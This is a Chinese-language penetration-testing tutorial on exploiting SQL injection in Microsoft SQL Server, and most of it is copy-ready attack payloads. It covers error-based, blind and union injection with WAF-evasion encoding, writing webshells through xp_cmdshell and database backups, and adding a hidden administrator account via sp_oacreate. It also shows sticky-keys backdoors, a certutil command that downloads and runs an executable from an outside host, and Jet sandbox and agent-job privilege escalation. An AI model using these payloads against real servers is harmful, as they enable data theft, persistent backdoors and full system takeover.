0x00 简介
Microsoft SQL Sever 分为很多个版本,版本的不断的升级安全性也越来越高,对我们渗透过程中最喜欢的版本应该就是2008以前,在2008及其以后的版本数据库的权限已经不再是system,为了迎合新的版本我接下来的实验都在2008版本下面进行,同时也介绍以前可以利用的方法,相对于MySQL这个mssql显得重了许多,他众多的功能也给我们注入过程带来了便利,所以一般数据库为mssql支持多语句我们就考虑是不是应该直接拿下webshell。
0x01 默认库的介绍
master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区。
这里我们经常要打交道的库也就是master,他储存了我们的所有数据库名等等,还有很多储存过程,所谓储存过程你可以把他理解成一个函数调用的过程。
储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。
我们以master库为例可以看到上面几个东西,其中视图表master.dbo.sysdatabases储存所有数据库名,其他数据库的视图则储存他本库的表名与列名。 每一个库的试图表都有syscolumns存储着所有的字段,可编程性储存着我们的函数。
select name from master.dbo.sysdatabases;
master
tempdb
model
msdb
test
asp_net
asp_test
mssql的储存过程是我们利用的重点,他天然支持多语句,也为我们注入提供了便利,我们可以通过查看可编程性里面的函数来查找他的功能,发现一些新的东西
0x02 字段的介绍
select top 1 name,xtype from sysobjects;
name xtype
sysrscols S
xtype可以是下列对象类型中的一种: C = CHECK 约束 D = 默认值或 DEFAULT 约束 F = FOREIGN KEY 约束 L = 日志 FN = 标量函数 IF = 内嵌表函数 P = 存储过程 PK = PRIMARY KEY 约束(类型是 K) RF = 复制筛选存储过程 S = 系统表 TF = 表函数 TR = 触发器 U = 用户表 UQ = UNIQUE 约束(类型是 K) V = 视图 X = 扩展存储过程
0x03 权限判断
服务器级别
我们可以在docs上面看到 IS_SRVROLEMEMBER ( 'role' [ , 'login' ] )
函数 role 的有效值是用户定义的服务器角色和以下固定服务器角色:
返回类型:
返回值 | 描述 |
---|---|
0 | login 不是 role 的成员。 |
1 | login 是 role 的成员。 |
NULL | role 或 login 无效,或者没有查看角色成员身份的权限。 |
最终我们可以构造语句
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
我们在sqlmap中使用 –is-dba 也就是判断的你是否为管理员权限
select * from admin where id =1 AND 5560 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)))
数据库级别的角色
select IS_MEMBER('db_owner')
0x04 基本信息
@@version // 数据库版本
user //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user //查询是否支持多语句
0x05 判断站库分离
select * from info where id='1'and host_name()=@@servername;--'
最简单的方法,当然你可以调用xp_cmdshell 就可以通过cmd来判断。
通过简单的判断数据库版本,当前用户权限,我们就可以想下一步怎么去做,比如2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
0x06 基础注入
建议大家可以本地搭建后用sqlmap注入查看他的注入语句
sqlmap -u "http://192.168.130.137/1.aspx?id=1" --is-dba -v3
判断当前数据库
http://192.168.130.137/1.aspx?id=1'and db_name()>0;--
爆表名
http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--
爆列名
http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'admin') and name<>'id');--
爆数据
http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 username from admin);--
因为mssql没有limit 所以只能用top 加上后面的判断来遍历数据
其他用法
当然查询数据库的所有表你还可以使用 INFORMATION_SCHEMA.TABLES
select * from INFORMATION_SCHEMA.TABLES
select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'
http://192.168.130.137/1.aspx?id=1 and 1=(select top 1 table_name from information_schema.tables
);--
我们要判断当前表名和列名 也可以使用 having 1=1
和 group by
http://192.168.130.137/1.aspx?id=1 having 1=1
爆出当前表和字段
http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1
爆出所有的字段
0x07 报错注入
在上一章我们已经了解到了报错注入,其实MSSQL报错注入利用的就是显示或隐式转换来报错注入,比如以下就是典型的隐式转换
select * from admin where id =1 and (select user)>0--
select * from admin where id =1|(select user)--
在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。
显示转换也就是利用函数来转换,我们经常用到的两个函数就是cast和convert
CAST( expression AS data_type )
CONVERT(data_type[(length)], expression [, style])
select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))
简单绕过
因为在前面一章我已经写过一些简单的报错注入了,所以这里引进一个declare
函数,他是mssql声明局部变量的函数,我们经常用它来绕过waf对一些关键词的拦截
select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
declare定义变量 set设置变量值 exec执行变量
变量的值是支持hex和ascii码的,当过滤引号我们就可以这么用 把我们的语句编码一下
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
如果你绕过了declare 那么waf基本没啥用了,这里如果你用hackbar的话记得把加号url编码。
0x08 盲注
布尔盲注
其实跟mysql大同小异 无非就是分割字符串比较,但是mssql的盲注套路确实没那么多
http://192.168.130.137/1.aspx?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
时间盲注
http://192.168.130.137/1.aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
http://192.168.130.137/1.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--
当然盲注你也可以使用前面提到的declare 灵活运用吧,对于盲注这块感觉mssql不如mysql灵活
0x09 联合注入
mssql联合注入我们一般不使用 数字占位,而是null,因为你使用数字占位可能会发生隐式转换
http://192.168.130.137/1.aspx?id=1 union select 1,2,3
http://192.168.130.137/1.aspx?id=1 union select null,name,pass from info
当然也可以这样用
http://192.168.130.137/1.aspx?id=1 SELECT 1 UNION (select CAST(USER as int))
在mssql中我们如果想查询多条数据可以使用%2B 也就是加号
http://192.168.130.137/1.aspx?id=1 union select null,name%2Bpass,null from info
0x0a getshell
能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。当然你如果有其他具有do_owner权限的用户也可以。
拿shell的两大前提就是
- 有相应的权限db_owner
- 知道web目录的绝对路径
我们先来了解下怎么去寻找web目录的绝对路径。
1. 寻找绝对路径
- 报错信息
- 字典猜
- 旁站的目录
- 存储过程来搜索
- 读配置文件
前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。
在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree
先来看xp_dirtree
直接举例子
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
我们再来看xp_cmdshell
怎么去找绝对路径,实际上原理就是调用cmd来查找文件,相对来说这种方法更方便。
当然你可能遇到xp_cmdshell不能调用 如果报错
SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。
可以用如下命令恢复
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--
当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧
接下来我们先来看cmd中怎么查找文件。
C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i
e:\code\php\1.php
C:\Users\Y4er>
那么我们只需要建立一个表 存在一个char字段就可以了
http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
然后通过注入去查询该表就可以了。
此时我们拿到绝对路径之后,我们接着往下看怎么拿shell
2. xp_cmdshell拿shell
xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径
http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载
3. 差异备份拿shell
1. backup database 库名 to disk = 'c:\bak.bak';--
2. create table [dbo].[test] ([cmd] [image]);
3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
因为权限的问题,最好不要备份到盘符根目录
当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
4. log备份拿shell
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
1. alter database 库名 set RECOVERY FULL
2. create table cmd (a image)
3. backup log 库名 to disk = 'c:\xxx' with init
4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
5. backup log 库名 to disk = 'c:\xxx\2.asp'
log备份的好处就是备份出来的webshell的文件大小非常的小
5.使用CLR程序集来执行命令
0x0b 提权
1. xp_cmdshell
在2005中xp_cmdshell的权限是system,2008中是network。
当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势
- certutil
- vbs
- bitsadmin
- powershell
- ftp
这个我会放在下一篇文章中细讲。
通过下载文件之后用xp_cmdshell来执行我们的payload,通过Cobalt Strike来进行下一步操作,比如怼exp或许会更加方便。
2. sp_oacreate
当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
sp_oacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合sp_oamethod 来写文件执行cmd
在以前的系统有这几种用法
-
调用cmd 来执行命令
wscript.shell执行命令 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx' Shell.Application执行命令 declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
-
写入启动项
declare @sp_passwordxieo int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
-
粘贴键替换
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
大家可以灵活运用,这里也可以这样玩,把他写成vbs或者其他的来下载文件 ,为什么不直接调用cmd来下载,再2008系统上我是不成功的,但是sp_oacreate可以启动这个文件,所以换个思路
declare @sp_passwordxieo int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out;
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:\www\1.bat', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'@echo off';
exec @ret = sp_oamethod @f, 'writeline', NULL,'start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\1.bat'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\file.exe'
当然这里只是一种思路,你完全可以用vbs来下载什么的
3. 沙盒提权
1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )');
引用前辈们的话
1,Access可以调用VBS的函数,以System权限执行任意命令 2,Access执行这个命令是有条件的,需要一个开关被打开 3,这个开关在注册表里 4,SA是有权限写注册表的 5,用SA写注册表的权限打开那个开关 6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令
4. xp_regwrite
修改注册表 来劫持粘贴键 当然在2008数据库是不成立的 因为默认权限很低
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
mssql众多的储存过程是我们利用的关键,还有很多可能没被提出,需要自己的发现,比如在遇到iis6的拿不了shell还有个上传可以跳目录,不妨试试xp_create_subdir建立个畸形目录解析。
5. pulic
这种pulic提权 实际情况也很少吧,也是提一下了
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
mssql众多的储存过程是我们利用的关键 当然还有很多可能没被提出,需要自己的发现,比如在遇到iis6的拿不了shell还有个上传可以跳目录,不妨试试xp_create_subdir 建立个畸形目录解析。